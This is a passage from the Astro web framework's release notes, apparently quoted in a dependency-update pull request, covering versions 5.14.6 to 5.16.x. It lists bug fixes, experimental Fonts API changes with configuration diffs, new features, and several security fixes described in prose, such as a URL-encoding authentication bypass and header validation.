certain aliases not working when using images in JSON files with the content layer - [#&#8203;15118](https://github.com/withastro/astro/pull/15118) [`cfa382b`](https://github.com/withastro/astro/commit/cfa382b7aa23a9f5a506181c75a0706595208396) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - **BREAKING CHANGE to the experimental Fonts API only** Removes the `defineAstroFontProvider()` type helper. If you are building a custom font provider, remove any occurrence of `defineAstroFontProvider()` and use the `FontProvider` type instead: ```diff -import { defineAstroFontProvider } from 'astro/config'; -export function myProvider() { - return defineAstroFontProvider({ - entrypoint: new URL('./implementation.js', import.meta.url) - }); -}; +import type { FontProvider } from 'astro'; +export function myProvider(): FontProvider { + return { + entrypoint: new URL('./implementation.js', import.meta.url) + }, +} ``` - [#&#8203;15055](https://github.com/withastro/astro/pull/15055) [`4e28db8`](https://github.com/withastro/astro/commit/4e28db8d125b693039b393111fa48d7bcc913968) Thanks [@&#8203;delucis](https://github.com/delucis)! - Reduces Astro’s install size by around 8 MB - [#&#8203;15088](https://github.com/withastro/astro/pull/15088) [`a19140f`](https://github.com/withastro/astro/commit/a19140fd11efbc635a391d176da54b0dc5e4a99c) Thanks [@&#8203;martrapp](https://github.com/martrapp)! - Enables the ClientRouter to preserve the original hash part of the target URL during server side redirects. - [#&#8203;15117](https://github.com/withastro/astro/pull/15117) [`b1e8e32`](https://github.com/withastro/astro/commit/b1e8e32670ba601d3b3150514173dd7d1bb25650) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - **BREAKING CHANGE to the experimental Fonts API only** Changes the font format downloaded by default when using the experimental Fonts API. Additionally, adds a new `formats` configuration option to specify which font formats to download. Previously, Astro was opinionated about which font sources would be kept for usage, mainly keeping `woff2` and `woff` files. You can now specify what font formats should be downloaded (if available). Only `woff2` files are downloaded by default. ##### What should I do? If you were previously relying on Astro downloading the `woff` format, you will now need to specify this explicitly with the new `formats` configuration option. Additionally, you may also specify any additional file formats to download if available: ```diff // astro.config.mjs import { defineConfig, fontProviders } from 'astro/config' export default defineConfig({ experimental: { fonts: [{ name: 'Roboto', cssVariable: '--font-roboto', provider: fontProviders.google(), + formats: ['woff2', 'woff', 'otf'] }] } }) ``` - [#&#8203;15034](https://github.com/withastro/astro/pull/15034) [`8115752`](https://github.com/withastro/astro/commit/811575237d159ceac5d9f0a2ea3bf023df718759) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes a vite warning log during builds when using npm ### [`v5.16.6`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5166) [Compare Source](https://github.com/withastro/astro/compare/astro@5.16.5...astro@5.16.6) ##### Patch Changes - [#&#8203;14982](https://github.com/withastro/astro/pull/14982) [`6849e38`](https://github.com/withastro/astro/commit/6849e3844d940f76b544822e7bd247641d61567d) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Fixes images outside the project directory not working when using astro:assets in development mode - [#&#8203;14987](https://github.com/withastro/astro/pull/14987) [`9dd9fca`](https://github.com/withastro/astro/commit/9dd9fca81e5ed3d0d55e0b1624c6515706963b1f) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Fixes SVGs not working in dev mode when using the passthrough image service - [#&#8203;15014](https://github.com/withastro/astro/pull/15014) [`a178422`](https://github.com/withastro/astro/commit/a178422484ed62a76b227515a798e192fdcba3b9) Thanks [@&#8203;delucis](https://github.com/delucis)! - Adds support for extending the type of the props accepted by Astro’s `<Image>` component, `<Picture>` component, and `getImage()` API. ### [`v5.16.5`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5165) [Compare Source](https://github.com/withastro/astro/compare/astro@5.16.4...astro@5.16.5) ##### Patch Changes - [#&#8203;14985](https://github.com/withastro/astro/pull/14985) [`c016f10`](https://github.com/withastro/astro/commit/c016f1063beddc995c4b7a60430ff8860c05b462) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes a case where JSDoc annotations wouldn't show for fonts related APIs in the Astro config - [#&#8203;14973](https://github.com/withastro/astro/pull/14973) [`ed7cc2f`](https://github.com/withastro/astro/commit/ed7cc2fd399084bdd8ba47094fe378fc8ce43048) Thanks [@&#8203;amankumarpandeyin](https://github.com/amankumarpandeyin)! - Fixes performance regression and OOM errors when building medium-sized blogs with many content entries. Replaced O(n²) object spread pattern with direct mutation in `generateLookupMap`. - [#&#8203;14958](https://github.com/withastro/astro/pull/14958) [`70eb542`](https://github.com/withastro/astro/commit/70eb542f3b509cd25461d19d275b8c050ace184f) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Gives a helpful error message if a user sets `output: "hybrid"` in their Astro config. The option was removed in Astro 5, but lots of content online still references it, and LLMs often suggest it. It's not always clear that the replacement is `output: "static"`, rather than `output: "server"`. This change adds a helpful error message to guide humans and robots. - [#&#8203;14901](https://github.com/withastro/astro/pull/14901) [`ef53716`](https://github.com/withastro/astro/commit/ef53716f93237d29cf732baae2d90ecd2c9f3bbe) Thanks [@&#8203;Darknab](https://github.com/Darknab)! - Updates the `glob()` loader to log a warning when duplicated IDs are detected - Updated dependencies \[[`d8305f8`](https://github.com/withastro/astro/commit/d8305f8abdf92db6fa505ee9c1774553ba90b7bd)]: - [@&#8203;astrojs/markdown-remark](https://github.com/astrojs/markdown-remark)@&#8203;6.3.10 ### [`v5.16.4`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5164) [Compare Source](https://github.com/withastro/astro/compare/astro@5.16.3...astro@5.16.4) ##### Patch Changes - [#&#8203;14940](https://github.com/withastro/astro/pull/14940) [`2cf79c2`](https://github.com/withastro/astro/commit/2cf79c23c23e3364b0e6a86394b6584112786c5b) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a bug where Astro didn't properly combine CSP resources from the `csp` configuration with those added using the runtime API (`Astro.csp.insertDirective()`) to form grammatically correct CSP headers Now Astro correctly deduplicate CSP resources. For example, if you have a global resource in the configuration file, and then you add a a new one using the runtime APIs. ### [`v5.16.3`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5163) [Compare Source](https://github.com/withastro/astro/compare/astro@5.16.2...astro@5.16.3) ##### Patch Changes - [#&#8203;14889](https://github.com/withastro/astro/pull/14889) [`4bceeb0`](https://github.com/withastro/astro/commit/4bceeb0c7183de4db0087316e2fc2d287f27ad01) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes actions types when using specific TypeScript configurations - [#&#8203;14929](https://github.com/withastro/astro/pull/14929) [`e0f277d`](https://github.com/withastro/astro/commit/e0f277d9248d2fefbd0234b53f9dea8c9b750adb) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes authentication bypass via double URL encoding in middleware Prevents attackers from bypassing path-based authentication checks using multi-level URL encoding (e.g., `/%2561dmin` instead of `/%61dmin`). Pathnames are now validated after decoding to ensure no additional encoding remains. ### [`v5.16.2`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5162) [Compare Source](https://github.com/withastro/astro/compare/astro@5.16.1...astro@5.16.2) ##### Patch Changes - [#&#8203;14876](https://github.com/withastro/astro/pull/14876) [`b43dc7f`](https://github.com/withastro/astro/commit/b43dc7f28d582f22a4b28aa3a712af247c908dc3) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes a vite warning log during builds when using npm - [#&#8203;14884](https://github.com/withastro/astro/pull/14884) [`10273e0`](https://github.com/withastro/astro/commit/10273e01357e515050f8233442a7252b51cad364) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes a case where setting the status of a page to `404` in ssr would show an empty page (or `404.astro` page if provided) instead of using the current page ### [`v5.16.1`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#51616) [Compare Source](https://github.com/withastro/astro/compare/astro@5.16.0...astro@5.16.1) ##### Patch Changes - [#&#8203;15281](https://github.com/withastro/astro/pull/15281) [`a1b80c6`](https://github.com/withastro/astro/commit/a1b80c65e5dddefba7ada20c7ccfdab26fb4e16b) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Ensures server island requests carry an encrypted component export identifier so they do not accidentally resolve to the wrong component. - [#&#8203;15304](https://github.com/withastro/astro/pull/15304) [`02ee3c7`](https://github.com/withastro/astro/commit/02ee3c745297203c38ee013b500126b15f7e5fc9) Thanks [@&#8203;cameronapak](https://github.com/cameronapak)! - Fix: Remove await from getActionResult example - [#&#8203;15324](https://github.com/withastro/astro/pull/15324) [`ab41c3e`](https://github.com/withastro/astro/commit/ab41c3e789b821e9179d11d67f453ba955448be6) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Fixes an issue where certain unauthorized links could be rendered as clickable in the error overlay ### [`v5.16.0`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5160) [Compare Source](https://github.com/withastro/astro/compare/astro@5.15.9...astro@5.16.0) ##### Minor Changes - [#&#8203;13880](https://github.com/withastro/astro/pull/13880) [`1a2ed01`](https://github.com/withastro/astro/commit/1a2ed01c92fe93843046396a2c854514747f4df8) Thanks [@&#8203;azat-io](https://github.com/azat-io)! - Adds experimental SVGO optimization support for SVG assets Astro now supports automatic SVG optimization using SVGO during build time. This experimental feature helps reduce SVG file sizes while maintaining visual quality, improving your site's performance. To enable SVG optimization with default settings, add the following to your `astro.config.mjs`: ```js import { defineConfig } from 'astro/config'; export default defineConfig({ experimental: { svgo: true, }, }); ``` To customize optimization, pass a [SVGO configuration object](https://svgo.dev/docs/plugins/): ```js export default defineConfig({ experimental: { svgo: { plugins: [ 'preset-default', { name: 'removeViewBox', active: false, }, ], }, }, }); ``` For more information on enabling and using this feature in your project, see the [experimental SVG optimization docs](https://docs.astro.build/en/reference/experimental-flags/svg-optimization/). - [#&#8203;14810](https://github.com/withastro/astro/pull/14810) [`2e845fe`](https://github.com/withastro/astro/commit/2e845fe56de45c710d282ed36f92978612810b79) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Adds a hint for code agents to use the `--yes` flag to skip prompts when running `astro add` - [#&#8203;14698](https://github.com/withastro/astro/pull/14698) [`f42ff9b`](https://github.com/withastro/astro/commit/f42ff9bd5b4c8d3e67247ee6e21f14cd2062c037) Thanks [@&#8203;mauriciabad](https://github.com/mauriciabad)! - Adds the `ActionInputSchema` utility type to automatically infer the TypeScript type of an action's input based on its Zod schema For example, this type can be used to retrieve the input type of a form action: ```ts import { type ActionInputSchema, defineAction } from 'astro:actions'; import { z } from 'astro/zod'; const action = defineAction({ accept: 'form', input: z.object({ name: z.string() }), handler: ({ name }) => ({ message: `Welcome, ${name}!` }), }); type Schema = ActionInputSchema<typeof action>; // typeof z.object({ name: z.string() }) type Input = z.input<Schema>; // { name: string } ``` - [#&#8203;14574](https://github.com/withastro/astro/pull/14574) [`4356485`](https://github.com/withastro/astro/commit/4356485b0f708c7abf93207105ddcb890a466729) Thanks [@&#8203;jacobdalamb](https://github.com/jacobdalamb)! - Adds new CLI shortcuts available when running `astro preview`: - `o` + `enter`: open the site in your browser - `q` + `enter`: quit the preview - `h` + `enter`: print all available shortcuts ##### Patch Changes - [#&#8203;14813](https://github.com/withastro/astro/pull/14813) [`e1dd377`](https://github.com/withastro/astro/commit/e1dd377398a3dcf6ba0697dc8d4bde6d77a45700) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Removes `picocolors` as dependency in favor of the fork `piccolore`. - [#&#8203;14609](https://github.com/withastro/astro/pull/14609) [`d774306`](https://github.com/withastro/astro/commit/d774306c517c33276adf48f2c2ea6a0a2a4a7aa6) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Improves `astro info` - [#&#8203;14796](https://github.com/withastro/astro/pull/14796) [`c29a785`](https://github.com/withastro/astro/commit/c29a785d57f08c5526828379d748f788797d9c39) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - **BREAKING CHANGE to the experimental Fonts API only** Updates the default `subsets` to `["latin"]` Subsets have been a common source of confusion: they caused a lot of files to be downloaded by default. You now have to manually pick extra subsets. Review your Astro config and update subsets if you need, for example if you need greek characters: ```diff import { defineConfig, fontProviders } from "astro/config" export default defineConfig({ experimental: { fonts: [{ name: "Roboto", cssVariable: "--font-roboto", provider: fontProviders.google(), + subsets: ["latin", "greek"] }] } }) ``` ### [`v5.15.9`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5159) [Compare Source](https://github.com/withastro/astro/compare/astro@5.15.8...astro@5.15.9) ##### Patch Changes - [#&#8203;14786](https://github.com/withastro/astro/pull/14786) [`758a891`](https://github.com/withastro/astro/commit/758a891112839a108479fd0489a1785640b31ecf) Thanks [@&#8203;mef](https://github.com/mef)! - Add handling of invalid encrypted props and slots in server islands. - [#&#8203;14783](https://github.com/withastro/astro/pull/14783) [`504958f`](https://github.com/withastro/astro/commit/504958fe7fccd7bffc177a1f4b1bf4e22989470e) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Improves the experimental Fonts API build log to show the number of downloaded files. This can help spotting excessive downloading because of misconfiguration - [#&#8203;14791](https://github.com/withastro/astro/pull/14791) [`9e9c528`](https://github.com/withastro/astro/commit/9e9c528191b6f5e06db9daf6ad26b8f68016e533) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Changes the remote protocol checks for images to require explicit authorization in order to use data URIs. In order to allow data URIs for remote images, you will need to update your `astro.config.mjs` file to include the following configuration: ```js // astro.config.mjs import { defineConfig } from 'astro/config'; export default defineConfig({ images: { remotePatterns: [ { protocol: 'data', }, ], }, }); ``` - [#&#8203;14787](https://github.com/withastro/astro/pull/14787) [`0f75f6b`](https://github.com/withastro/astro/commit/0f75f6bc637d547e07324e956db21d9f245a3e8e) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes wildcard hostname pattern matching to correctly reject hostnames without dots Previously, hostnames like `localhost` or other single-part names would incorrectly match patterns like `*.example.com`. The wildcard matching logic has been corrected to ensure that only valid subdomains matching the pattern are accepted. - [#&#8203;14776](https://github.com/withastro/astro/pull/14776) [`3537876`](https://github.com/withastro/astro/commit/3537876fde3bdb2a0ded99cc9b00d53f66160a7f) Thanks [@&#8203;ktym4a](https://github.com/ktym4a)! - Fixes the behavior of `passthroughImageService` so it does not generate webp. - Updated dependencies \[[`9e9c528`](https://github.com/withastro/astro/commit/9e9c528191b6f5e06db9daf6ad26b8f68016e533), [`0f75f6b`](https://github.com/withastro/astro/commit/0f75f6bc637d547e07324e956db21d9f245a3e8e)]: - [@&#8203;astrojs/internal-helpers](https://github.com/astrojs/internal-helpers)@&#8203;0.7.5 - [@&#8203;astrojs/markdown-remark](https://github.com/astrojs/markdown-remark)@&#8203;6.3.9 ### [`v5.15.8`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5158) [Compare Source](https://github.com/withastro/astro/compare/astro@5.15.7...astro@5.15.8) ##### Patch Changes - [#&#8203;14772](https://github.com/withastro/astro/pull/14772) [`00c579a`](https://github.com/withastro/astro/commit/00c579a23322d92459e4ccad0ec365c4d1980a5d) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Improves the security of Server Islands slots by encrypting them before transmission to the browser, matching the security model used for props. This improves the integrity of slot content and prevents injection attacks, even when component templates don't explicitly support slots. Slots continue to work as expected for normal usage—this change has no breaking changes for legitimate requests. - [#&#8203;14771](https://github.com/withastro/astro/pull/14771) [`6f80081`](https://github.com/withastro/astro/commit/6f800813516b07bbe12c666a92937525fddb58ce) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fix middleware pathname matching by normalizing URL-encoded paths Middleware now receives normalized pathname values, ensuring that encoded paths like `/%61dmin` are properly decoded to `/admin` before middleware checks. This prevents potential security issues where middleware checks might be bypassed through URL encoding. ### [`v5.15.7`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5157) [Compare Source](https://github.com/withastro/astro/compare/astro@5.15.6...astro@5.15.7) ##### Patch Changes - [#&#8203;14765](https://github.com/withastro/astro/pull/14765) [`03fb47c`](https://github.com/withastro/astro/commit/03fb47c0106fda823e4dc89ed98d282ecb5258a0) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes a case where `process.env` wouldn't be properly populated during the build - [#&#8203;14690](https://github.com/withastro/astro/pull/14690) [`ae7197d`](https://github.com/withastro/astro/commit/ae7197d35676b3745dc9ca71aecbcf3bbbfffb30) Thanks [@&#8203;fredriknorlin](https://github.com/fredriknorlin)! - Fixes a bug where Astro's i18n fallback system with `fallbackType: 'rewrite'` would not generate fallback files for pages whose filename started with a locale key. ### [`v5.15.6`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5156) [Compare Source](https://github.com/withastro/astro/compare/astro@5.15.5...astro@5.15.6) ##### Patch Changes - [#&#8203;14751](https://github.com/withastro/astro/pull/14751) [`18c55e1`](https://github.com/withastro/astro/commit/18c55e15eaef56cbe06626b6bdb43ab250ab6f49) Thanks [@&#8203;delucis](https://github.com/delucis)! - Fixes hydration of client components when running the dev server and using a barrel file that re-exports both Astro and UI framework components. - [#&#8203;14750](https://github.com/withastro/astro/pull/14750) [`35122c2`](https://github.com/withastro/astro/commit/35122c278f987f9213b8e1094382398a16090aff) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Updates the experimental Fonts API to log a warning if families with a conflicting `cssVariable` are provided - [#&#8203;14737](https://github.com/withastro/astro/pull/14737) [`74c8852`](https://github.com/withastro/astro/commit/74c8852c534cc23217a78979e10885429b290e0b) Thanks [@&#8203;Arecsu](https://github.com/Arecsu)! - Fixes an error when using `transition:persist` with components that use declarative Shadow DOM. Astro now avoids re-attaching a shadow root if one already exists, preventing `"Unable to re-attach to existing ShadowDOM"` navigation errors. - [#&#8203;14750](https://github.com/withastro/astro/pull/14750) [`35122c2`](https://github.com/withastro/astro/commit/35122c278f987f9213b8e1094382398a16090aff) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Updates the experimental Fonts API to allow for more granular configuration of remote font families A font family is defined by a combination of properties such as weights and styles (e.g. `weights: [500, 600]` and `styles: ["normal", "bold"]`), but you may want to download only certain combinations of these. For greater control over which font files are downloaded, you can specify the same font (ie. with the same `cssVariable`, `name`, and `provider` properties) multiple times with different combinations. Astro will merge the results and download only the required files. For example, it is possible to download normal `500` and `600` while downloading only italic `500`: ```js // astro.config.mjs import { defineConfig, fontProviders } from 'astro/config'; export default defineConfig({ experimental: { fonts: [ { name: 'Roboto', cssVariable: '--roboto', provider: fontProviders.google(), weights: [500, 600], styles: ['normal'], }, { name: 'Roboto', cssVariable: '--roboto', provider: fontProviders.google(), weights: [500], styles: ['italic'], }, ], }, }); ``` ### [`v5.15.5`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5155) [Compare Source](https://github.com/withastro/astro/compare/astro@5.15.4...astro@5.15.5) ##### Patch Changes - [#&#8203;14712](https://github.com/withastro/astro/pull/14712) [`91780cf`](https://github.com/withastro/astro/commit/91780cffa7cf97cc22694d55962710609a5475b0) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes a case where build's `process.env` would be inlined in the server output - [#&#8203;14713](https://github.com/withastro/astro/pull/14713) [`666d5a7`](https://github.com/withastro/astro/commit/666d5a7ef486aa57f20f87b6cb210619dabd9c4c) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Improves fallbacks generation when using the experimental Fonts API - [#&#8203;14743](https://github.com/withastro/astro/pull/14743) [`dafbb1b`](https://github.com/withastro/astro/commit/dafbb1ba29912099c4faff1440033edc768af8b4) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Improves `X-Forwarded` header validation to prevent cache poisoning and header injection attacks. Now properly validates `X-Forwarded-Proto`, `X-Forwarded-Host`, and `X-Forwarded-Port` headers against configured `allowedDomains` patterns, rejecting malformed or suspicious values. This is especially important when running behind a reverse proxy or load balancer. ### [`v5.15.4`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5154) [Compare Source](https://github.com/withastro/astro/compare/astro@5.15.3...astro@5.15.4) ##### Patch Changes - [#&#8203;14703](https://github.com/withastro/astro/pull/14703) [`970ac0f`](https://github.com/withastro/astro/commit/970ac0f51172e1e6bff4440516a851e725ac3097) Thanks [@&#8203;ArmandPhilippot](https://github.com/ArmandPhilippot)! - Adds missing documentation for some public utilities exported from `astro:i18n`. - [#&#8203;14715](https://github.com/withastro/astro/pull/14715) [`3d55c5d`](https://github.com/withastro/astro/commit/3d55c5d0fb520d470b33d391e5b68861f5b51271) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Adds support for client hydration in `getContainerRenderer()` The `getContainerRenderer()` function is exported by Astro framework integrations to simplify the process of rendering framework components when using the experimental Container API inside a Vite or Vitest environment. This update adds the client hydration entrypoint to the returned object, enabling client-side interactivity for components rendered using this function. Previously this required users to manually call `container.addClientRenderer()` with the appropriate client renderer entrypoint. See [the `container-with-vitest` demo](https://github.com/withastro/astro/blob/main/examples/container-with-vitest/test/ReactWrapper.test.ts) for a usage example, and [the Container API documentation](https://docs.astro.build/en/reference/container-reference/#renderers-option) for more information on using framework components with the experimental Container API. - [#&#8203;14711](https://github.com/withastro/astro/pull/14711) [`a4d284d`](https://github.com/withastro/astro/commit/a4d284dad1c437fa64773f43d030a3e504d783e1) Thanks [@&#8203;deining](https://github.com/deining)! - Fixes typos in documenting our error messages and public APIs. - [#&#8203;14701](https://github.com/withastro/astro/pull/14701) [`9be54c7`](https://github.com/withastro/astro/commit/9be54c77cf8c65d253a70e9b7a8ff144a0f95d66) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes a case where the experimental Fonts API would filter available font files too aggressively, which could prevent the download of woff files when using the google provider ### [`v5.15.3`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5153) [Compare Source](https://github.com/withastro/astro/compare/astro@5.15.2...astro@5.15.3) ##### Patch Changes - [#&#8203;14627](https://github.com/withastro/astro/pull/14627) [`b368de0`](https://github.com/withastro/astro/commit/b368de099e74f5d65c5e8f9799c9c3e0217714ae) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes skew protection support for images and font URLs Adapter-level query parameters (`assetQueryParams`) are now applied to all image and font asset URLs, including: - Dynamic optimized images via `/_image` endpoint - Static optimized image files - Font preload tags and font requests when using the experimental Fonts API - [#&#8203;14631](https://github.com/withastro/astro/pull/14631) [`3ad33f9`](https://github.com/withastro/astro/commit/3ad33f97429fedc1a873c50b54f3cd5e0d95bec8) Thanks [@&#8203;KurtGokhan](https://github.com/KurtGokhan)! - Adds the `astro/jsx-dev-runtime` export as an alias for `astro/jsx-runtime` ### [`v5.15.2`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5152) [Compare Source](https://github.com/withastro/astro/compare/astro@5.15.1...astro@5.15.2) ##### Patch Changes - [#&#8203;14623](https://github.com/withastro/astro/pull/14623) [`c5fe295`](https://github.com/withastro/astro/commit/c5fe295c41c8bc3b9f85727c3635e9ddc67f0030) Thanks [@&#8203;delucis](https://github.com/delucis)! - Fixes a leak of server runtime code when importing SVGs in client-side code. Previously, when importing an SVG file in client code, Astro could end up adding code for rendering SVGs on the server to the client bundle. - [#&#8203;14621](https://github.com/withastro/astro/pull/14621) [`e3175d9`](https://github.com/withastro/astro/commit/e3175d9ccbf070150ab2229b2564ca0b12a86c30) Thanks [@&#8203;GameRoMan](https://github.com/GameRoMan)! - Updates `vite` version to fix CVE ### [`v5.15.1`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5151) [Compare Source](https://github.com/withastro/astro/compare/astro@5.15.0...astro@5.15.1) ##### Patch Changes - [#&#8203;14612](https://github.com/withastro/astro/pull/14612) [`18552c7`](https://github.com/withastro/astro/commit/18552c733c55792a4bf8374d66134742d666e902) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a regression introduced in Astro v5.14.7 that caused `?url` imports to not work correctly. This release reverts [#&#8203;14142](https://github.com/withastro/astro/pull/14142). ### [`v5.15.0`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5150) [Compare Source](https://github.com/withastro/astro/compare/astro@5.14.8...astro@5.15.0) ##### Minor Changes - [#&#8203;14543](https://github.com/withastro/astro/pull/14543) [`9b3241d`](https://github.com/withastro/astro/commit/9b3241d8a903ce0092905205af883cef5498d0b2) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Adds two new adapter configuration options `assetQueryParams` and `internalFetchHeaders` to the Adapter API. Official and community-built adapters can now use `client.assetQueryParams` to specify query parameters that should be appended to asset URLs (CSS, JavaScript, images, fonts, etc.). The query parameters are automatically appended to all generated asset URLs during the build process. Adapters can also use `client.internalFetchHeaders` to specify headers that should be included in Astro's internal fetch calls (Actions, View Transitions, Server Islands, Prefetch). This enables features like Netlify's skew protection, which requires the deploy ID to be sent with both internal requests and asset URLs to ensure client and server versions match during deployments. - [#&#8203;14489](https://github.com/withastro/astro/pull/14489) [`add4277`](https://github.com/withastro/astro/commit/add4277b6d78080a9da32554f495d870978656af) Thanks [@&#8203;dev-shetty](https://github.com/dev-shetty)! - Adds a new Copy to Clipboard button to the error overlay stack trace. When an error occurs in dev mode, you can now copy the stack trace with a single click to more easily share it in a bug report, a support thread, or with your favorite LLM. - [#&#8203;14564](https://github.com/withastro/astro/pull/14564) [`5e7cebb`](https://github.com/withastro/astro/commit/5e7cebbfaa935dab462de6efb0bab507644e10de) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Updates `astro add cloudflare` to scaffold more configuration files Running `astro add cloudflare` will now emit `wrangler.jsonc` and `public/.assetsignore`, allowing your Astro project to work out of the box as a worker. ##### Patch Changes - [#&#8203;14591](https://github.com/withastro/astro/pull/14591) [`3e887ec`](https://github.com/withastro/astro/commit/3e887ec523b8e4ec4d01978f0fedf246dfdfbc81) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Adds TypeScript support for the `components` prop on MDX `Content` component when using `await render()`. Developers now get proper IntelliSense and type checking when passing custom components to override default MDX element rendering. - [#&#8203;14598](https://github.com/withastro/astro/pull/14598) [`7b45c65`](https://github.com/withastro/astro/commit/7b45c65c62e37d4225fb14ea378e2301de31cbea) Thanks [@&#8203;delucis](https://github.com/delucis)! - Reduces terminal text styling dependency size by switching from `kleur` to `picocolors` - [#&#8203;13826](https://github.com/withastro/astro/pull/13826) [`8079482`](https://github.com/withastro/astro/commit/807948204d3838031e8952a5b3eadb26f5612b8f) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Adds the option to specify in the `preload` directive which weights, styles, or subsets to preload for a given font family when using the experimental Fonts API: ```astro --- import { Font } from 'astro:assets'; --- <Font cssVariable="--font-roboto" preload={[{ subset: 'latin', style: 'normal' }, { weight: '400' }]} /> ``` Variable weight font files will be preloaded if any weight within its range is requested. For example, a font file for font weight `100 900` will be included when `400` is specified in a `preload` object. ### [`v5.14.8`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5148) [Compare Source](https://github.com/withastro/astro/compare/astro@5.14.7...astro@5.14.8) ##### Patch Changes - [#&#8203;14590](https://github.com/withastro/astro/pull/14590) [`577d051`](https://github.com/withastro/astro/commit/577d051637d1b5d0df3100bed4c1d815eae7291c) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes image path resolution in content layer collections to support bare filenames. The `image()` helper now normalizes bare filenames like `"cover.jpg"` to relative paths `"./cover.jpg"` for consistent resolution behavior between markdown frontmatter and JSON content collections. ### [`v5.14.7`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5147) [Compare Source](https://github.com/withastro/astro/compare/astro@5.14.6...astro@5.14.7) ##### Patch Changes - [#&#8203;14582](https://github.com/withastro/astro/pull/14582) [`7958c6b`](https://github.com/withastro/astro/commit/7958c6b44c4bcdaa827d33f71ae7c2def26dc1b4) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes a regression that caused Actions to throw errors while loading - [#&#8203;14567](https://github.com/withastro/astro/pull/14567) [`94500bb`](https://github.com/withastro/astro/commit/94500bb22236b77c842d88407b9a73bfc7fde488) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes the actions endpoint to return 404 for nonexistent actions instead of throwing an unhandled error - [#&#8203;14566](https://github.com/withastro/astro/pull/14566) [`946fe68`](https://github.com/withastro/astro/commit/946fe68c973c966a4f589ae43858bf486cc70eb5) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes handling malformed cookies gracefully by returning the unparsed value instead of throwing When a cookie with an invalid value is present (e.g., containing invalid URI sequences), `Astro.cookies.get()` now returns the raw cookie value instead of throwing a URIError. This aligns with the behavior of the underlying `cookie` package and prevents crashes when manually-set or corrupted cookies are encountered. - [#&#8203;14142](https://github.com/withastro/astro/pull/14142) [`73c5de9`](https://github.com/withastro/astro/commit/73c5de9263c1de17804a1720d91d3475425b24d1) Thanks [@&#8203;P4tt4te](https://github.com/P4tt4te)! - Updates handling of CSS for hydrated client components to prevent duplicates - [#&#8203;14576](https://github.com/withastro/astro/pull/14576) [`2af62c6`](https://github.com/withastro/astro/commit/2af62c659c3b428561ddf1fa3d0f02126841b672) Thanks [@&#8203;aprici7y](https://github.com/aprici7y)! - Fixes a regression that caused `Astro.site` to always be `undefined` in `getStaticPaths()` ### [`v5.14.6`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5146) [Compare Source](https://github.com/withastro/astro/compare/astro@5.14.5...astro@5.14.6) ##### Patch Changes - 